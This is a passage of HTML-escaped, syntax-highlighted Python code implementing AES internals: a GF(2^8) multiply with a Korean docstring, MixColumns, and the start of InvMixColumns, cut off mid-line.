    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r0&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r1&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r2&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r3&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;GF(2^8), 모듈러스 x^8+x^4+x^3+x+1 (0x11B)&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;hi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1B&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;res&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mix_columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inv_mix_columns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x09&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gf_mul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0b&lt;/span&gt;&lt;span 